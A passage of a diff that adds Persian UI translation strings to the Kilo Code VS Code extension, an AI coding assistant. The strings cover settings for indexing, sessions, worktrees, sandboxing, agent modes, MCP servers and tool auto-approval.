پیش‌فرض برای ارائه‌دهنده انتخاب‌شده را بازنویسی کنید.", + "settings.indexing.dimension.title": "بُعد برداری", + "settings.indexing.dimension.description": "برای تشخیص خودکار بُعد جاسازی از مدل، خالی بگذارید.", + "settings.indexing.dimension.placeholder": "خودکار", + "settings.indexing.providerField.description": "تنظیم اتصال مخصوص ارائه‌دهنده.", + "settings.indexing.vectorStore.title": "فروشگاه برداری", + "settings.indexing.vectorStore.description": "محل ذخیره‌سازی جاسازی‌های ایندکس‌شده را انتخاب کنید.", + "settings.indexing.lancedbDirectory.title": "پوشه LanceDB", + "settings.indexing.lancedbDirectory.description": "پوشه اختیاری برای ذخیره‌گاه محلی LanceDB.", + "settings.indexing.lancedbDirectory.placeholder": "برای پیش‌فرض خالی بگذارید", + "settings.indexing.qdrantUrl.title": "آدرس URL Qdrant", + "settings.indexing.qdrantUrl.description": "آدرس سرور برای نمونه Qdrant.", + "settings.indexing.qdrantApiKey.title": "کلید API Qdrant", + "settings.indexing.qdrantApiKey.description": "کلید API اختیاری برای نمونه Qdrant.", + "settings.indexing.qdrantApiKey.placeholder": "کلید API اختیاری", + "settings.indexing.fileExtensions.title": "پسوندهای فایل", + "settings.indexing.fileExtensions.description": + "فهرست مجاز با جداکننده کاما. برای استفاده از پیش‌فرض‌های داخلی خالی بگذارید.", + "settings.indexing.fileExtensions.invalid": "پسوند نامعتبر: {{extension}}", + "settings.indexing.tuning.description": "پارامتر پیشرفته جستجو و دسته‌بندی.", + "settings.experimental.title": "آزمایشی", + "settings.language.title": "زبان", + "settings.aboutKiloCode.title": "درباره Kilo Code", + + "session.messages.welcome": + "Kilo Code یک دستیار هوش مصنوعی برای کدنویسی است. از آن بخواهید ویژگی‌ها بسازد، باگ‌ها را رفع کند یا کدبیس شما را توضیح دهد.", + "session.messages.scrollToBottom": "رفتن به پایین", + "session.messages.initializing": "در حال راه‌اندازی...", + "session.messages.taskStarting": "در حال شروع...", + "session.prompts.navLabel": "ناوبر پرامپت", + "session.prompts.tick": "پرامپت {{index}} از {{total}}: {{prompt}}", + "session.prompts.noAnswer": "هنوز پاسخی وجود ندارد", + "session.prompts.queued": "در صف انتظار", + "session.status.writingResponse": "در حال نوشتن پاسخ...", + "session.status.retry": "در حال تلاش مجدد…", + "session.status.working": "در حال پردازش...", + "session.status.offline": "اتصال شبکه قطع شد — در حال اتصال مجدد...", + "session.outcome.incomplete": "نوبت با {{count}} کار باقی‌مانده پایان یافت.", + "session.outcome.limit": "پاسخ به محدودیت خروجی رسید و ممکن است ناقص باشد.", + "session.outcome.unknown": "پاسخ بدون دلیل پایان یافت و ممکن است ناقص باشد.", + "session.outcome.filtered": "ارائه‌دهنده این پاسخ را به دلیل فیلتر محتوا متوقف کرد.", + "session.outcome.unexpected": "پاسخ به‌طور غیرمنتظره‌ای پایان یافت و ممکن است ناقص باشد.", + "session.outcome.generationId": "شناسه تولید: {{id}}", + "session.outcome.interrupted": "نوبت قطع شد.", + "session.outcome.error": "نوبت با شکست مواجه شد.", + "session.outcome.finish": "دلیل فنی پایان: {{reason}}", + "session.costAlert.header": "هشدار هزینه جلسه", + "session.costAlert.continue": "ادامه", + "session.costAlert.question": "هزینه این جلسه از آستانه هشدار {{limit}} شما فراتر رفت و {{cost}} شد. ادامه می‌دهید؟", + "session.costAlert.stop": "توقف", + "sidebar.session.newSession": "جلسه جدید", + "sidebar.session.newSession.tooltip": "یک مکالمه تازه شروع کنید و جلسه فعلی را دست‌نخورده نگه دارید.", + "sidebar.session.newWorktree": "Worktree جدید", + "sidebar.session.newWorktree.tooltip": + "یک worktree گیت ایزوله ایجاد کنید تا به‌صورت امن آزمایش کنید، تغییرات را جدا نگه دارید و بدون اختلال در شاخه فعلی، جلسات موازی اجرا کنید.", + "sidebar.session.configureWorktree.tooltip": + "برای پیکربندی یک worktree جدید قبل از ایجاد آن، دیالوگ worktree در Agent Manager را باز کنید.", + "sidebar.session.newWorktree.from": "Worktree جدید از", + "sidebar.session.currentBranch": "شاخه فعلی", + "sidebar.session.moveToWorktree": "انتقال به Worktree", + "sidebar.session.moveToWorktree.tooltip.empty": + "این مکالمه و تغییرات محلی فعلی شما را به یک worktree اختصاصی برای کار پیگیری ایزوله منتقل کنید.", + "sidebar.session.moveToWorktree.tooltip.one": + "این مکالمه و ۱ فایل تغییریافته را به یک worktree اختصاصی برای کار پیگیری ایزوله منتقل کنید.", + "sidebar.session.moveToWorktree.tooltip.other": + "این مکالمه و {{files}} فایل تغییریافته را به یک worktree اختصاصی برای کار پیگیری ایزوله منتقل کنید.", + "sidebar.session.showChanges.tooltip.empty": "نمای تغییرات را برای بررسی working tree فعلی باز کنید.", + "sidebar.session.progress.capturing": "در حال ثبت تغییرات...", + "sidebar.session.progress.creating": "در حال ایجاد worktree...", + "sidebar.session.progress.setup": "در حال اجرای راه‌اندازی...", + "sidebar.session.progress.transferring": "در حال انتقال تغییرات...", + "sidebar.session.progress.forking": "در حال شروع جلسه...", + "sidebar.session.progress.failed": "ادامه در worktree با شکست مواجه شد", + + "ui.sessionTurn.cancel": "لغو", + "ui.sessionTurn.status.thinking": "در حال فکر کردن...", + "ui.sessionTurn.status.consideringNextSteps": "در حال بررسی مراحل بعدی...", + + "dialog.model.noProviders": "هیچ ارائه‌دهنده‌ای وجود ندارد", + + "prompt.placeholder.connecting": "در حال اتصال به سرور...", + "prompt.placeholder.default": "پیامی بنویسید... (Enter برای ارسال، Shift+Enter برای خط جدید)", + "prompt.placeholder.error": "اتصال ناموفق بود. پنل خروجی را بررسی کنید یا افزونه را مجدداً راه‌اندازی کنید.", + + "context.usage.sessionCost": "هزینه جلسه", + "context.usage.olderSessions": "{{count}} جلسه قدیمی‌تر", + "context.stats.thisSession": "این جلسه", + + "time.today": "امروز", + "time.yesterday": "دیروز", + "time.thisWeek": "این هفته", + "time.thisMonth": "این ماه", + "time.older": "قدیمی‌تر", + + "settings.aboutKiloCode.status.connected": "متصل", + "settings.aboutKiloCode.status.connecting": "در حال اتصال...", + "settings.aboutKiloCode.status.disconnected": "قطع شده", + "settings.aboutKiloCode.status.error": "خطا", + "settings.aboutKiloCode.cliServer": "سرور CLI", + "settings.aboutKiloCode.status.label": "وضعیت:", + "settings.aboutKiloCode.port.label": "پورت:", + "settings.aboutKiloCode.versionInfo": "اطلاعات نسخه", + "settings.aboutKiloCode.version.label": "نسخه:", + "settings.aboutKiloCode.community": "جامعه و پشتیبانی", + "settings.aboutKiloCode.feedback.prefix": "اگر سؤال یا بازخوردی دارید، می‌توانید یک issue در", + "settings.aboutKiloCode.feedback.or": "یا", + "settings.aboutKiloCode.support.prefix": "برای سؤالات مربوط به صورت‌حساب یا حساب کاربری، با پشتیبانی مشتریان در", + "settings.aboutKiloCode.resetSettings.title": "بازنشانی تنظیمات", + "settings.aboutKiloCode.resetSettings.description": + "این گزینه فقط تنظیمات مخصوص افزونه VS Code را به مقادیر پیش‌فرض بازنشانی می‌کند. تنظیمات مشترک با CLI، مانند حالت‌ها و قوانین تأیید خودکار، در پیکربندی CLI ذخیره می‌شوند و بازنشانی نخواهند شد.", + "settings.aboutKiloCode.resetSettings.button": "بازنشانی همه تنظیمات", + "settings.aboutKiloCode.resetSettings.notificationsButton": "بازنشانی اعلان‌های خوانده‌شده", + "settings.aboutKiloCode.settingsTransfer.title": "انتقال تنظیمات", + "settings.aboutKiloCode.settingsTransfer.description": + "تنظیمات خود را برای انتقال بین نمونه‌های VS Code صادر یا وارد کنید.", + "settings.aboutKiloCode.exportSettings": "صادر کردن", + "settings.aboutKiloCode.importSettings": "وارد کردن", + "settings.aboutKiloCode.importSettings.invalidJson": + "فایل JSON نامعتبر است. لطفاً یک فایل تنظیمات معتبر انتخاب کنید.", + "settings.aboutKiloCode.importSettings.invalidConfig": "فایل حاوی تنظیمات معتبر Kilo نیست.", + "settings.aboutKiloCode.importSettings.tooLarge": + "فایل بیش از حد بزرگ است. فایل‌های تنظیمات باید کمتر از ۱ مگابایت باشند.", + "settings.aboutKiloCode.importSettings.newerVersion": + "این فایل از نسخه جدیدتری از Kilo صادر شده است. برخی تنظیمات ممکن است نادیده گرفته شوند.", + "settings.aboutKiloCode.importSettings.success": + "تنظیمات وارد شد. تغییرات بالا را بررسی کنید، سپس روی ذخیره کلیک کنید.", + + "settings.aboutKiloCode.telemetry.title": "تله‌متری", + "settings.aboutKiloCode.telemetry.description": + "تله‌متری توسط تنظیمات داخلی تله‌متری VS Code کنترل می‌شود. برای غیرفعال کردن آن، به Settings > Telemetry > Telemetry Level بروید و آن را روی «off» تنظیم کنید. VS Code را مجدداً راه‌اندازی کنید تا تغییر اعمال شود.", + "settings.aboutKiloCode.telemetry.openSettings": "باز کردن تنظیمات تله‌متری", + + "settings.agentBehaviour.subtab.agents": "عوامل", + "settings.agentBehaviour.subtab.mcpServers": "MCP Servers", + "settings.agentBehaviour.subtab.rules": "قوانین", + "settings.agentBehaviour.subtab.workflows": "گردش‌های کاری", + "settings.agentBehaviour.subtab.skills": "مهارت‌ها", + + "settings.browser.description": + "وقتی فعال است، عامل هوش مصنوعی می‌تواند با صفحات وب تعامل داشته باشد — پیمایش، کلیک، تایپ و گرفتن اسکرین‌شات. یک پنجره Chrome باز می‌شود تا بتوانید عملکرد عامل را مشاهده کنید.", + "settings.browser.enable.title": "فعال‌سازی اتوماسیون مرورگر", + "settings.browser.enable.description": "سرور Playwright MCP را با بک‌اند CLI ثبت کنید.", + "settings.browser.systemChrome.title": "استفاده از Chrome سیستم", + "settings.browser.systemChrome.description": + "به جای یک نمونه Chromium جداگانه، از مرورگر Chrome نصب‌شده شما استفاده کنید.", + "settings.browser.headless.title": "حالت Headless", + "settings.browser.headless.description": "در حالت headless اجرا شود (بدون پنجره مرورگر قابل مشاهده).", + + "settings.language.description": + "زبان رابط کاربری Kilo Code را انتخاب کنید. «Auto» از زبان نمایشی VS Code شما استفاده می‌کند.", + "settings.language.auto": "خودکار (زبان VS Code)", + "settings.language.current": "فعلی:", + + "common.add": "افزودن", + + "settings.autocomplete.model.title": "مدل تکمیل خودکار", + "settings.autocomplete.model.description": "مدل مورد استفاده برای تکمیل‌های درون‌خطی کد را انتخاب کنید", + "settings.autocomplete.autoTrigger.title": "فعال‌سازی تکمیل‌های خودکار درون‌خطی", + "settings.autocomplete.autoTrigger.description": "پیشنهادهای تکمیل درون‌خطی را هنگام تایپ به‌صورت خودکار نمایش بده", + "settings.autocomplete.smartKeybinding.title": "فعال‌سازی میانبر هوشمند وظایف درون‌خطی", + "settings.autocomplete.smartKeybinding.description": "از یک میانبر هوشمند برای فعال‌سازی وظایف درون‌خطی استفاده کن", + "settings.autocomplete.chatAutocomplete.title": "فعال‌سازی تکمیل خودکار متن چت", + "settings.autocomplete.chatAutocomplete.description": "نمایش پیشنهادات تکمیل خودکار در کادر متنی چت", + "settings.autocomplete.modelsHint": "برای انتخاب مدل مورد استفاده در تکمیل خودکار، به تنظیمات مدل‌ها مراجعه کنید.", + + "settings.notifications.sounds": "صداها", + "settings.notifications.enable.title": "فعال‌سازی اعلان‌های صوتی", + "settings.notifications.enable.description": "پخش صدا هنگام تکمیل جلسات، بروز خطا یا نیاز به ورودی شما", + "settings.notifications.testSound": "آزمایش", + "settings.notifications.sound.default": "پیش‌فرض", + "settings.notifications.sound.system": "سیستم", + "settings.notifications.sound.description": + "پیش‌فرض از صداهای مختلف برای تکمیل، ورودی و خطاها استفاده می‌کند. سایر گزینه‌ها از یک صدا برای همه رویدادها استفاده می‌کنند.", + + "settings.experimental.share.title": "حالت اشتراک‌گذاری", + "settings.experimental.share.description": "نحوه رفتار اشتراک‌گذاری جلسه", + "settings.experimental.share.manual": "دستی", + "settings.experimental.share.auto": "خودکار", + "settings.experimental.share.disabled": "غیرفعال", + "settings.experimental.formatter.title": "قالب‌بند", + "settings.experimental.formatter.description": "فعال‌سازی قالب‌بند خودکار کد", + "settings.experimental.lsp.title": "LSP", + "settings.experimental.lsp.description": "فعال‌سازی یکپارچه‌سازی پروتکل سرور زبان", + "settings.experimental.batch.title": "ابزار دسته‌ای", + "settings.experimental.batch.description": "فعال‌سازی دسته‌بندی چندین فراخوانی ابزار", + "settings.experimental.codebaseSearch.title": "جستجوی پایگاه کد", + "settings.experimental.codebaseSearch.description": + "فعال‌سازی جستجوی زبان طبیعی مبتنی بر هوش مصنوعی در سراسر پایگاه کد", + "settings.experimental.imageGeneration.title": "تولید تصویر", + "settings.experimental.imageGeneration.description": "فعال‌سازی تولید تصویر با هوش مصنوعی", + "settings.experimental.imageGenerationModel.title": "مدل تصویر", + "settings.experimental.imageGenerationModel.description": "مدل تولید تصویر", + "settings.experimental.imageGenerationModel.placeholder": "پیش‌فرض (مسیریاب خودکار)", + + "settings.models.speechToText.disabledDescription": + "برای استفاده از تبدیل گفتار به متن، ارائه‌دهنده Kilo را فعال کرده و وارد شوید. تبدیل گفتار به متن در حال حاضر فقط از طریق Kilo Gateway پشتیبانی می‌شود.", + "settings.models.speechToTextModel.title": "مدل تبدیل گفتار به متن", + "settings.models.speechToTextModel.description": "مدل رونویسی Kilo Gateway را برای ورودی صوتی انتخاب کنید.", + "settings.experimental.nativeNotebookTools.title": "ابزارهای بومی Notebook", + "settings.experimental.nativeNotebookTools.description": + "ابزارهای آزمایشی برای خواندن، ویرایش و اجرای VS Code notebooks را فعال کنید", + "settings.experimental.continueOnDeny.title": "ادامه در صورت رد", + "settings.experimental.continueOnDeny.description": "حلقه عامل را هنگام رد شدن یک مجوز ادامه دهید", + "settings.sandboxing.enabled.title": "Sandbox", + "settings.sandboxing.enabled.description": + "اجرای دستورات شل عامل در یک Sandbox سطح سیستم‌عامل که نوشتن را به پوشه‌های پروژه و وضعیت Kilo محدود می‌کند", + "settings.sandboxing.title": "Sandboxing", + "settings.sandboxing.network.title": "محدود کردن دسترسی شبکه", + "settings.sandboxing.network.description": + "مسدود کردن دسترسی مستقیم خروجی از دستورات مدل و ابزارهای HTTP. ابزارهای MCP محلی و راه‌دور در حین محدودیت در دسترس نیستند. ترافیک ارائه‌دهنده و هوک‌های پلاگین مورد اعتماد خارج از این محدودیت باقی می‌مانند.", + "settings.sandboxing.allowedHosts.title": "مقصدهای شبکه مجاز", + "settings.sandboxing.allowedHosts.description": + "مقصدهای DNS هاست و پورت برای ترافیک پروکسی HTTP و HTTPS در Sandbox. GitHub CLI و Git از طریق HTTPS معمولاً به github.com:443 و api.github.com:443 نیاز دارند. تغییرات در نشست‌های جدید اعمال می‌شوند.", + "settings.sandboxing.writablePaths.title": "مسیرهای قابل نوشتن اضافی", + "settings.sandboxing.writablePaths.description": + "مسیرهای فایل‌سیستم اضافی که Sandbox اجازه نوشتن به آن‌ها را می‌دهد (مثلاً /tmp، /var/log). این مسیرها هنگام فعال بودن Sandbox با مسیرهای قابل نوشتن پیش‌فرض ادغام می‌شوند.", + "settings.experimental.swePruner.title": "SWE-Pruner", + "settings.experimental.swePruner.description": + "فعال‌سازی SWE-Pruner: هرس آگاه از وظیفه برای خروجی‌های بزرگ ابزارهای خواندن، جستجو و پوسته، هدایت‌شده توسط یک سؤال تمرکز از عامل", + "settings.experimental.swePrunerModel.title": "مدل SWE-Pruner", + "settings.experimental.swePrunerModel.description": + "مدل مورد استفاده برای مرور سریع خروجی‌های ابزار؛ به‌طور پیش‌فرض از مدل کوچک پیکربندی‌شده استفاده می‌کند", + "settings.experimental.mcpTimeout.title": "زمان‌وقفه MCP (میلی‌ثانیه)", + "settings.experimental.mcpTimeout.description": "زمان‌وقفه برای درخواست‌های سرور MCP بر حسب میلی‌ثانیه", + "settings.experimental.remote.title": "کنترل از راه دور", + "settings.experimental.remote.description": + "فعال‌سازی کنترل از راه دور جلسات از طریق Kilo Cloud. این تنظیم بر CLIهای این دستگاه نیز تأثیر می‌گذارد.", + "settings.experimental.remote.current": "وضعیت فعلی:", + "settings.experimental.remote.startup": "فعال‌سازی خودکار هنگام راه‌اندازی:", + "settings.experimental.remote.active": "فعال", + "settings.experimental.remote.inactive": "غیرفعال", + "settings.experimental.remote.hint": "برای تغییر وضعیت از /remote در چت استفاده کنید", + "settings.experimental.toolToggles": "تنظیمات ابزارها", + + "settings.agentBehaviour.defaultAgent.title": "عامل پیش‌فرض", + "settings.agentBehaviour.defaultAgent.description": "عاملی که در صورت عدم تعیین استفاده می‌شود", + "settings.agentBehaviour.availableAgents": "عامل‌های موجود", + "settings.agentBehaviour.modelOverride.title": "جایگزینی مدل", + "settings.agentBehaviour.modelOverride.description": "مدل پیش‌فرض این عامل را بازنویسی کنید", + "settings.agentBehaviour.variantOverride.title": "بازنویسی نوع", + "settings.agentBehaviour.variantOverride.description": "نوع مدل این عامل را بازنویسی کنید", + "settings.agentBehaviour.temperature.title": "دما", + "settings.agentBehaviour.temperature.description": + "کنترل می‌کند که پاسخ‌های هوش مصنوعی چقدر تصادفی باشند (۰–۲). مقادیر پایین‌تر (مثلاً ۰.۲) خروجی متمرکز و یکنواخت تولید می‌کنند. مقادیر بالاتر (مثلاً ۱.۰) پاسخ‌های متنوع‌تر و خلاقانه‌تری ایجاد می‌کنند. برای استفاده از مقدار پیش‌فرض مدل، خالی بگذارید.", + "settings.agentBehaviour.topP.title": "Top P", + "settings.agentBehaviour.topP.description": + "آستانه نمونه‌برداری هسته‌ای (۰–۱). انتخاب توکن‌ها را به کوچک‌ترین مجموعه‌ای محدود می‌کند که احتمال تجمعی آن به P برسد. مقادیر پایین‌تر خروجی را متمرکزتر می‌کنند؛ مقادیر بالاتر تنوع بیشتری را مجاز می‌دانند. برای استفاده از مقدار پیش‌فرض مدل، خالی بگذارید.", + "settings.agentBehaviour.maxSteps.title": "حداکثر مراحل", + "settings.agentBehaviour.maxSteps.description": + "حداکثر تعداد گام‌های عامل. در این محدودیت، به عامل دستور داده می‌شود که استفاده از ابزارها را متوقف کرده و پاسخ نهایی ارائه دهد. برای وظایف پیچیده چندمرحله‌ای افزایش دهید؛ برای پاسخ‌های کوتاه‌تر و قابل پیش‌بینی‌تر کاهش دهید.", + "settings.agentBehaviour.hidden.title": "پنهان", + "settings.agentBehaviour.hidden.description": "این عامل را از انتخابگر حالت در ورودی چت پنهان کنید", + "settings.agentBehaviour.disable.title": "غیرفعال", + "settings.agentBehaviour.disable.description": "این عامل را کاملاً غیرفعال کنید — در هیچ جایی نمایش داده نخواهد شد", + "settings.agentBehaviour.badge.hidden": "پنهان", + "settings.agentBehaviour.badge.disabled": "غیرفعال", + "settings.agentBehaviour.badge.deprecated": "منسوخ", + "settings.agentBehaviour.discoveredSkills": "مهارت‌های کشف‌شده", + "settings.agentBehaviour.noSkillsFound": + "هیچ مهارتی کشف نشد. مسیرهای پوشه مهارت یا URL را در زیر اضافه کنید تا مهارت‌ها در دسترس قرار گیرند.", + "settings.agentBehaviour.noAgentsFound": "هیچ عاملی یافت نشد.", + "settings.agentBehaviour.removeAgent.title": "حذف عامل", + "settings.agentBehaviour.removeAgent.confirm": + "ایجنت «{{name}}» حذف شود؟ این کار با به‌روزرسانی پیکربندی شما، ایجنت را غیرفعال می‌کند.", + "settings.agentBehaviour.removeAgent.button": "حذف", + "settings.agentBehaviour.skillPaths": "مسیرهای پوشه مهارت", + "settings.agentBehaviour.skillUrls": "URL های مهارت", + "settings.agentBehaviour.removeSkill.title": "حذف مهارت", + "settings.agentBehaviour.removeSkill.confirm": + "مهارت «{{name}}» حذف شود؟ این کار فایل‌های مهارت را از دیسک حذف می‌کند.", + "settings.agentBehaviour.removeSkill.button": "حذف", + "settings.agentBehaviour.rules.description": + "قوانین، فایل‌های دستورالعملی هستند که رفتار عامل را هدایت می‌کنند. این قوانین در پرامپت سیستم برای هر مکالمه گنجانده می‌شوند. برای افزودن قوانین بیشتر، مسیرهای فایل را در زیر وارد کنید.", + "settings.agentBehaviour.instructionFiles": "فایل‌های دستورالعمل اضافی", + "settings.agentBehaviour.instructionFiles.description": + "مسیرهای فایل‌های دستورالعمل اضافی که در پرامپت سیستم گنجانده می‌شوند", + "settings.agentBehaviour.claudeCompat.heading": "سازگاری با Claude Code", + "settings.agentBehaviour.claudeCompat.title": "بارگذاری فایل‌های Claude Code", + "settings.agentBehaviour.claudeCompat.description": + "دستورالعمل‌ها و مهارت‌های CLAUDE.md را از پوشه پیکربندی Claude Code شما در جلسات بارگذاری می‌کند. اگر می‌خواهید Kilo از دستورالعمل‌ها و مهارت‌های Claude Code شما استفاده کند، این گزینه را فعال کنید. نیاز به راه‌اندازی مجدد دارد.", + "settings.agentBehaviour.removeMcp.title": "حذف سرور MCP", + "settings.agentBehaviour.removeMcp.confirm": "سرور MCP «{{name}}» حذف شود؟ این کار آن را از پیکربندی شما حذف می‌کند.", + "settings.agentBehaviour.removeMcp.button": "حذف", + "settings.agentBehaviour.mcpDetail.command": "دستور", + "settings.agentBehaviour.mcpDetail.args": "آرگومان‌ها", + "settings.agentBehaviour.mcpDetail.env": "محیط", + "settings.agentBehaviour.editMcp": "ویرایش سرور MCP", + "settings.agentBehaviour.editMcp.transportLocal": "سرور محلی (انتقال stdio)", + "settings.agentBehaviour.editMcp.transportRemote": "سرور راه‌دور (انتقال SSE/HTTP)", + "settings.agentBehaviour.editMcp.env": "متغیرهای محیطی", + "settings.agentBehaviour.editMcp.env.help": "متغیرهایی که به فرآیند سرور MCP ارسال می‌شوند.", + "settings.agentBehaviour.addMcp.command": "دستور", + "settings.agentBehaviour.addMcp.command.placeholder": "مثلاً npx", + "settings.agentBehaviour.addMcp.args": "آرگومان‌ها", + "settings.agentBehaviour.addMcp.args.help": "یک آرگومان در هر خط. مسیرهای دارای فاصله عیناً حفظ می‌شوند.", + "settings.agentBehaviour.addMcp.args.placeholder": "مثلاً\n-y\n@modelcontextprotocol/server-filesystem\n/tmp", + "settings.agentBehaviour.addMcp.url": "URL سرور", + "settings.agentBehaviour.addMcp.url.placeholder": "مثلاً http://localhost:3000/sse", + "settings.agentBehaviour.mcpBrowseMarketplace": "مرور Marketplace", + "settings.agentBehaviour.mcpEmpty": + "هیچ سرور MCP پیکربندی نشده است. سرورهای MCP را در kilo.jsonc اضافه کنید، یا از agent بخواهید آن‌ها را برایتان اضافه کند.", + "settings.agentBehaviour.workflows.description": + "Workflow‌ها دستورات slash سفارشی هستند که در پیکربندی شما تعریف شده‌اند. برای فراخوانی آن‌ها /command-name را در چت تایپ کنید. دستورات در opencode.json زیر بخش 'command' پیکربندی می‌شوند.", + "settings.agentBehaviour.workflows.empty": + "هیچ دستور سفارشی پیکربندی نشده است. دستورات را به opencode.json خود اضافه کنید تا اینجا نمایش داده شوند.", + "settings.agentBehaviour.workflows.detail.description": "توضیحات", + "settings.agentBehaviour.workflows.detail.template": "قالب", + + "settings.agentBehaviour.createMode": "ایجاد حالت جدید", + "settings.agentBehaviour.createMode.name": "نام", + "settings.agentBehaviour.createMode.name.placeholder": "مثلاً reviewer", + "settings.agentBehaviour.createMode.name.description": + "شناسه یکتا برای حالت. فقط از حروف کوچک، اعداد و خط تیره استفاده کنید.", + "settings.agentBehaviour.createMode.description": "توضیحات", + "settings.agentBehaviour.createMode.description.placeholder": "مثلاً کد را از نظر کیفیت و بهترین روش‌ها بررسی می‌کند", + "settings.agentBehaviour.createMode.description.help": "توضیح کوتاهی از عملکرد این حالت.", + "settings.agentBehaviour.createMode.prompt": "پرامپت سیستم", + "settings.agentBehaviour.createMode.prompt.placeholder": + "مثلاً شما یک بازبین کد هستید. بر کیفیت کد، بهترین روش‌ها و باگ‌های احتمالی تمرکز کنید.", + "settings.agentBehaviour.createMode.prompt.help": "دستورالعمل‌های عامل هوش مصنوعی هنگام استفاده از این حالت.", + "settings.agentBehaviour.createMode.button": "ایجاد", + "settings.agentBehaviour.createMode.cancel": "لغو", + "settings.agentBehaviour.createMode.nameRequired": "نام الزامی است", + "settings.agentBehaviour.createMode.nameInvalid": + "نام باید با یک حرف کوچک شروع شود و فقط شامل حروف کوچک، اعداد و خط تیره باشد", + "settings.agentBehaviour.createMode.nameTaken": "یک حالت با این نام از قبل وجود دارد", + "settings.agentBehaviour.importMode": "وارد کردن", + "settings.agentBehaviour.importMode.invalidName": + "نام حالت در فایل نامعتبر است. نام باید با یک حرف کوچک شروع شود و فقط شامل حروف کوچک، اعداد و خط تیره باشد.", + "settings.agentBehaviour.importMode.nameTaken": "یک حالت با این نام از قبل وجود دارد.", + "settings.agentBehaviour.importMode.invalidJson": + "فایل JSON نامعتبر است. لطفاً یک فایل تعریف عامل معتبر انتخاب کنید.", + "settings.agentBehaviour.importMode.tooLarge": "فایل بیش از حد بزرگ است. تعریف عامل‌ها باید کمتر از ۱ مگابایت باشند.", + "settings.agentBehaviour.exportMode": "صادر کردن تعریف عامل", + "settings.agentBehaviour.editMode": "حالت ویرایش", + "settings.agentBehaviour.editMode.description": "توضیحات", + "settings.agentBehaviour.editMode.prompt": "پرامپت سیستم", + "settings.agentBehaviour.editMode.save": "انجام شد", + "settings.agentBehaviour.editMode.back": "بازگشت به فهرست", + "settings.agentBehaviour.editMode.native": + "این یک حالت داخلی است. تعریف پایه آن قابل تغییر نیست، اما می‌توانید تنظیمات سفارشی را در زیر پیکربندی کنید.", + "settings.agentBehaviour.editMode.promptOverride": "پرامپت سفارشی جایگزین برای این حالت داخلی", + "settings.agentBehaviour.badge.subagent": "زیرعامل", + "settings.agentBehaviour.permissions.title": "مجوزهای محاسبه‌شده", + "settings.agentBehaviour.permissions.count": "{{count}} قانون", + "settings.agentBehaviour.permissions.effective": "مؤثر (wildcard):", + "settings.agentBehaviour.permissions.col.tool": "ابزار", + "settings.agentBehaviour.permissions.col.pattern": "الگو", + "settings.agentBehaviour.permissions.col.action": "عملکرد", + "settings.agentBehaviour.permissions.copy": "کپی مجوزها به‌صورت JSON", + "settings.agentBehaviour.permissions.hint": + "قوانین به ترتیب ارزیابی می‌شوند — آخرین قانون منطبق اعمال می‌شود. این مجموعه قوانین حل‌شده از backend CLI است.", + + "settings.autoApprove.description": + "نحوه اجرای ابزارها را تعریف کنید. اکثر ابزارها به‌طور پیش‌فرض روی Allow هستند. doom_loop و external_directory به‌طور پیش‌فرض روی Ask هستند.", + "settings.autoApprove.maxCost.title": "هشدار هزینه جلسه", + "settings.autoApprove.maxCost.description": + "هنگامی که هزینه یک جلسه از این مقدار دلاری فراتر رفت، یک هشدار غیرمسدودکننده نمایش داده شود. از اعداد صحیح استفاده کنید؛ برای غیرفعال کردن خالی بگذارید.", + "settings.autoApprove.level.allow": "اجازه", + "settings.autoApprove.level.ask": "پرسش", + "settings.autoApprove.level.deny": "رد کردن", + "settings.autoApprove.wildcardLabel.commands": "همه دستورات (*)", + "settings.autoApprove.wildcardLabel.paths": "همه مسیرها (*)", + "settings.autoApprove.exceptions": "استثناها", + "settings.autoApprove.addCommand": "افزودن دستور", + "settings.autoApprove.addPath": "افزودن مسیر", + "settings.autoApprove.placeholder.command": "مثال: git *", + "settings.autoApprove.placeholder.path": "مثال: *.env", + "settings.autoApprove.tool.external_directory": + "دسترسی به فایل‌های خارج از فضای کاری. هنگام دسترسی به فایل‌های خارج از پوشه پروژه جاری فعال می‌شود.", + "settings.autoApprove.tool.bash": "اجرای دستورات ترمینال. اجازه اجرای دستورات شل را می‌دهد (مثلاً git status).", + "settings.autoApprove.tool.read": "خواندن فایل‌ها. به عامل اجازه می‌دهد فایل‌های منطبق با مسیر مشخص‌شده را بخواند.", + "settings.autoApprove.tool.edit": + "ویرایش فایل‌ها. به عامل اجازه می‌دهد فایل‌ها را ایجاد یا ویرایش کند، از جمله پچ‌ها و به‌روزرسانی‌های چندفایلی.", + "settings.autoApprove.tool.glob": + "تطبیق فایل‌ها با الگو. اجازه تطبیق فایل با استفاده از الگوهای glob را می‌دهد (مثلاً src/**/*.ts).", + "settings.autoApprove.tool.grep": "جستجو در محتوای فایل‌ها. اجازه جستجوی مبتنی بر regex درون فایل‌ها را می‌دهد.", + "settings.autoApprove.tool.list": "فهرست محتوای پوشه. اجازه مشاهده فایل‌ها و پوشه‌های داخل یک دایرکتوری را می‌دهد.", + "settings.autoApprove.tool.task": "راه‌اندازی زیرعامل‌ها. اجازه شروع زیرعامل‌های تخصصی برای وظایف خاص را می‌دهد.", + "settings.autoApprove.tool.skill": + "بارگذاری مهارت‌ها. اجازه بارگذاری مهارت‌های از پیش تعریف‌شده بر اساس نام را می‌دهد.", + "settings.autoApprove.tool.lsp": "پرس‌وجو از سرور زبان. اجازه اجرای پرس‌وجوهای LSP برای هوشمندی کد را می‌دهد.", + "settings.autoApprove.tool.todoreadwrite": + "مدیریت فهرست وظایف. اجازه خواندن و به‌روزرسانی فهرست وظایف داخلی را می‌دهد.", + "settings.autoApprove.tool.webfetch": "دریافت یک URL. امکان بازیابی محتوا از یک URL مشخص را فراهم می‌کند.", + "settings.autoApprove.tool.websearch": "جستجو در وب. امکان انجام جستجوهای خارجی در وب را فراهم می‌کند.", + "settings.autoApprove.tool.doom_loop": + "جلوگیری از اقدامات تکراری یکسان. زمانی فعال می‌شود که همان فراخوانی ابزار با ورودی یکسان تکرار شود.", + + "settings.checkpoints.enable.title": "فعال‌سازی اسنپ‌شات‌ها", + "settings.checkpoints.enable.description": + "قبل از ویرایش فایل‌ها نقاط بازیابی ایجاد کنید تا بتوانید به حالت‌های قبلی بازگردید", + + "settings.context.autoCompaction.title": "فشرده‌سازی خودکار", + "settings.context.autoCompaction.description": "قبل از رسیدن به محدودیت، زمینه را به‌طور خودکار فشرده کنید", + "settings.context.compaction.title": "فشرده‌سازی", + "settings.context.compactionLimit.title": "محدودیت فشرده‌سازی خودکار", + "settings.context.compactionLimit.description": + "زمانی فشرده‌سازی انجام شود که زمینه به این درصد از پنجره مدل برسد. برای استفاده تنها از بافر ایمنی، خالی بگذارید.", + "settings.context.prune.title": "حذف 